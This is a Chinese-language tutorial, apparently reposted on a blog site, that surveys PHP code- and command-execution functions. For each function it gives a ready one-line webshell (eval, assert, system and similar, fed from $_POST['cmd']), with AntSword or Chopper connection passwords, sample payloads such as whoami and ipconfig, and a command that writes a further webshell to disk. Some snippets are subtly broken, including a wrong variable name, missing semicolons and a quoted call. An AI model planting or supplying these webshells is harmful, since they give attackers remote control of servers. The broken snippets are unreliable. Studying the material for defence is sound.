PHP常见的命令执行函数与代码执行函数

这篇具有很好参考价值的文章主要介绍了PHP常见的命令执行函数与代码执行函数。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

代码执行函数:

1. eval()

GET和POST传参的区别 

2. assert()

3. call_user_func()

4. create_function()

5. array_map()

6. call_user_func_array()

7. array_filter()

​编辑

8. uasort()函数

9. preg_replace()

命令执行函数:

1. system()

2. passthru()

3. exec()

4. pcntl_exec()

5. shell_exec()

6. popen()/proc_open()

7. 反引号 ``


代码执行函数:

前提准备:火狐插件 Quantum  Hackbar (或者hackbar)      phpstudy  

首先打开phpstudy  在phpstudy 下的www目录中创建一个1.php文件,接下来的实验均在1.php中进行。

注意:php代码中函数前加@意味着他会屏蔽掉出错信息,而不报错,避免通过错误回显来推测数据库结构,对其进行攻击。

1. eval()

命令执行:cmd=system(ipconfig);
蚁剑连接密码:cmd

 注意:eval要以分号结尾  传入的参数必须为php代码

<?php @eval($_POST['cmd']);?>  

GET和POST传参的区别 

 这里用的是POST型传参   POST型传参通过request  body 传参   而GET型传参把参数包含在url中php命令执行函数,php,网络安全,web安全

 可以使用<pre>标签来使结果规范化

 <?php 
 echo "<pre>";
 echo eval($_POST["cmd"]);
 echo "</pre>";
 ?>

php命令执行函数,php,网络安全,web安全

2. assert()

 命令执行:cmd=system(whoami)
    菜刀连接密码:cmd
 
<?php @assert($_POST['cmd']);?>

php命令执行函数,php,网络安全,web安全

3. call_user_func()

传入的参数作为assert函数的参数
    命令执行:cmd=system(whoami)
    蚁剑连接密码:cmd
 
<?php call_user_func("assert",$_POST['cmd']); ?>
这里的  assert  是被调用的回调函数,其余为回调函数的参数。

 php命令执行函数,php,网络安全,web安全

<?php
call_user_func($_POST["dys"],$_POST["add"]);
?>
这里dys=assert;  add=phpinfo();

php命令执行函数,php,网络安全,web安全

4. create_function()

创建匿名函数执行代码
执行命令和上传文件参考eval函数(必须加分号)。
<?php $func =create_function('',$_POST['cmd']);$func(); ?>
 

 第一个变量表示定义一个函数变量部分  第二个变量表示执行的代码部分

php命令执行函数,php,网络安全,web安全

5. array_map()

array_map() 函数
将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。
回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。
    
<?php
    $func=$_GET['dys'];
    $cmd=$_POST['cmd'];
    $array[0]=$cmd;
    $new_array=array_map($dys,$array);
    echo $new_array;
?>

 这个函数作用是为数组每个元素应用回调函数。php命令执行函数,php,网络安全,web安全

6. call_user_func_array()

将传入的参数作为数组的第一个值传递给assert函数
    cmd=system(phpinfo();)
   
<?php
    $cmd=$_POST['cmd'];
    $array[0]=$cmd;
    call_user_func_array("assert",$array);
?>

php命令执行函数,php,网络安全,web安全

7. array_filter()

array_filter — 使用回调函数过滤数组的元素

<?php
    $cmd=$_POST['cmd'];
    $array1=array($cmd);
    $func =$_GET['dys'];
    array_filter($array1,$func);
?>
命令执行:cmd=whoami  dys=system

php命令执行函数,php,网络安全,web安全

8. uasort()函数

uasort () 函数使用用户自定义的比较函数对数组排序,并保持索引关联(不为元素分配新的键)。 如果成功则返回 TRUE,否则返回 FALSE。

<?php
    uasort($_GET,'asse'.'rt');
?>

9. preg_replace()

preg_replace('正则规则','替换字符','目标字符')
执行命令和上传文件参考assert函数(不需要加分号)。
将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。
preg_replace("/test/e",$_POST["cmd"],"jutst test");

命令执行函数:

1. system()

蚁剑连接密码:cmd
<?php
echo "<pre>";
system($_POST["cmd"]);
?>

 在POST命令框输入cmd=ipconfig  即可在页面出现信息

php命令执行函数,php,网络安全,web安全

 还可以用echo写入一句话木马,来进行连接

cmd=echo "<?php @eval($_POST['dys']);?>" >> dys.php

php命令执行函数,php,网络安全,web安全

 php命令执行函数,php,网络安全,web安全

 php命令执行函数,php,网络安全,web安全

2. passthru()

passthru — 执行外部程序并且显示原始输出

蚁剑连接密码:cmd
<?php
@passthru($_POST['cmd']);
?>

 cmd=ipconfig 即可显示信息

php命令执行函数,php,网络安全,web安全

3. exec()

这个函数有点特殊,他只输出最后一行

并且他的输出需要自己打印。(即用echo打印出来)

蚁剑连接密码:cmd
<?php
echo "<pre>"
echo exec($_POST['cmd']);
echo "</pre>"
?>

 php命令执行函数,php,网络安全,web安全

4. pcntl_exec()

pcntl_exec — 在当前进程空间执行指定程序

pcntl_exec(string $path, array $args = [], array $env_vars = []): bool

以给定参数执行程序

path

path 必须时可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本(比如文件第一行是 #!/usr/local/bin/perl 的 perl 脚本)。 更多的信息请查看您系统的 execve(2)手册。

args

args 是一个要传递给程序的参数的字符串数组。

env_vars

env_vars 是一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value 格式的,key 代表要传递的环境变量的名称,value 代表该环境变量值。

5. shell_exec()

shell_exec — 通过 shell 执行命令并将完整的输出以字符串的方式返回

蚁剑连接密码:cmd
<?php
echo "shell_exec($_POST['cmd'])";
?>

 php命令执行函数,php,网络安全,web安全

6. popen()/proc_open()

该函数也可以将字符串当作OS命令来执行,但是该函数返回的是文件指针而非命令执行结果。该函数有两个参数。

<?php
$cmd=$_POST['cmd'].">>1.txt";  
popen("$cmd",'r');
?>
$cmd将文件查询结果放入1.txt  popen将该文件赋予可读权限
在linux里,命令为
popen("/bin/ls",'r');

 php命令执行函数,php,网络安全,web安全

 php命令执行函数,php,网络安全,web安全

7. 反引号 ``

[``]反引号里的东西也会被当成系统命令执行

whoami可以直接执行

<?php
echo `whoami`
?>

php命令执行函数,php,网络安全,web安全

<?php
echo "<pre>";
$cmd=$_GET["cmd"];
echo `$cmd`;
echo "</pre>";
?>

php命令执行函数,php,网络安全,web安全文章来源地址https://www.toymoban.com/news/detail-718525.html

到了这里,关于PHP常见的命令执行函数与代码执行函数的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 网络安全入门学习第十七课——PHP数组

    索引数组是指 键名为整数 的数组。 默认 情况下,索引数组的 键名是从0开始 ,并依次递增。它主要适用于利用位置(0、1、2……)来标识数组元素的情况。另外,索引数组的键名也可以自己指定。 关联数组是指 键名为字符串 的数组。通常情况下,关联数组元素的“键”和

    2024年02月09日
    浏览(41)
  • 【Web】CTFSHOW PHP命令执行刷题记录(全)

    目录 web29 web30 web31 web32 web33 web34 web35 web36 web37-39 web40 web41 (y4✌脚本) web42 -44 web45 web46 -49 web50 web51 web52 web53 web54 web55-56 web57 web58 web59 web60 web61 web62 web63-65 web66-67 web68-70 web71 web72 web73-74 web75-76 web77 期末复习不了一点,不如做点旧题醒一醒手感。每一题都尽量用不同payload,如果

    2024年01月23日
    浏览(31)
  • 网络安全入门学习第十七课——PHP表单交互

    表单的主要功能:就是在网页上用于输入信息的区域,收集用户输入的信息,并将其提交给后端的服务器进行处理,实现用户与服务器的交互。 例如:购物结算、信息搜索等都是通过表单实现的。 一个完整的表单是由表单域和表单控件组成的。其中,表单域由form标记定义,

    2024年02月12日
    浏览(34)
  • [网络安全/CTF] BUUCTF极客大挑战2019PHP解题详析(Dirsearch使用实例+php反序列化)

    提示:有一个良好的备份网站的习惯 故使用dirsearch工具扫描目录 得到的扫描结果中包含www.zip目录 通过url路径下载zip文件: index.php中含有关键代码: Get传参传入一个参数select,后端将其序列化 class.php: construct 是构造函数,在对象被创建的时候自动调用,进行类的初始化,

    2024年02月05日
    浏览(55)
  • [CTF/网络安全] 攻防世界 PHP2 解题详析

    翻译: 你能给这个网站进行身份验证吗? index.php是一个常见的文件名,通常用于Web服务器中的网站根目录下。它是默认的主页文件名,在访问一个网站时,如果没有特别指定页面文件名,则服务器会自动加载index.php文件。 在Web应用程序中,index.php文件通常是网站的入口文件

    2024年02月13日
    浏览(38)
  • 【漏洞复现】锐捷EG易网关cli.php后台命令执行漏洞

            锐捷EG易网关是一款综合网关,由锐捷网络完全自主研发。它集成了先进的软硬件体系架构,配备了DPI深入分析引擎、行为分析/管理引擎,可以在保证网络出口高效转发的条件下,提供专业的流控功能、出色的URL过滤以及本地化的日志存储/审计服务。         锐

    2024年01月22日
    浏览(29)
  • php5构造无字母数字的webshell实现任意命令执行

    目录 引言 如果是在php7 如果是在php5 现在我们来上传文件 最后的结果: 看本篇前可以先看这一篇:利用异或、取反、自增bypass_webshell_waf-CSDN博客 上一篇介绍了如何构造出一个无字母数字的webshell,但是如果后端的代码变成了这样: 这里过滤了大小写字母、数字、_、$,因此

    2024年02月04日
    浏览(33)
  • [CTF/网络安全] 攻防世界 Web_php_include 解题详析(php伪协议、data伪协议、file伪协议)

    这段代码首先通过 show_source(__FILE__) 显示当前文件的源代码,然后通过 $_GET[\\\'hello\\\'] 显示 URL 参数中名为 hello 的值。 接下来,代码使用 $_GET[\\\'page\\\'] 获取 URL 参数中名为 “page” 的值,并进行字符串替换,将 php:// 替换为空字符串 这是为了防止通过 URL 参数加载本地文件或其他可

    2024年02月08日
    浏览(34)
  • [CTF/网络安全] 攻防世界 simple_php 解题详析

    题目描述:小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。 $a=@$_GET[\\\'a\\\']; 从HTTP GET请求参数中获取一个名为a的变量,并将其赋值给变量a。@符号用于禁止错误输出,如果不存在参数a则会将变量a设置为NULL。 $b=@$_GET[\\\'b\\\']; 从HTTP GET请求参数中获取一个名为b的变量,

    2024年02月13日
    浏览(37)
  • [CTF/网络安全] 攻防世界 fileinclude 解题详析(php伪协议)

    由于index.php在/var/www/html目录下,而flag.php与index.php同为php文件,故猜想flag.php也在该目录下。 查看页面源代码获取更多信息: 源代码中看到 @include($lan.\\\".php\\\"); ,即此处存在文件包含。 又因为 $lan = $_COOKIE[\\\'language\\\']; 因此解题思路为:利用php伪协议,构造language参数,来读取该目

    2024年02月07日
    浏览(35)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包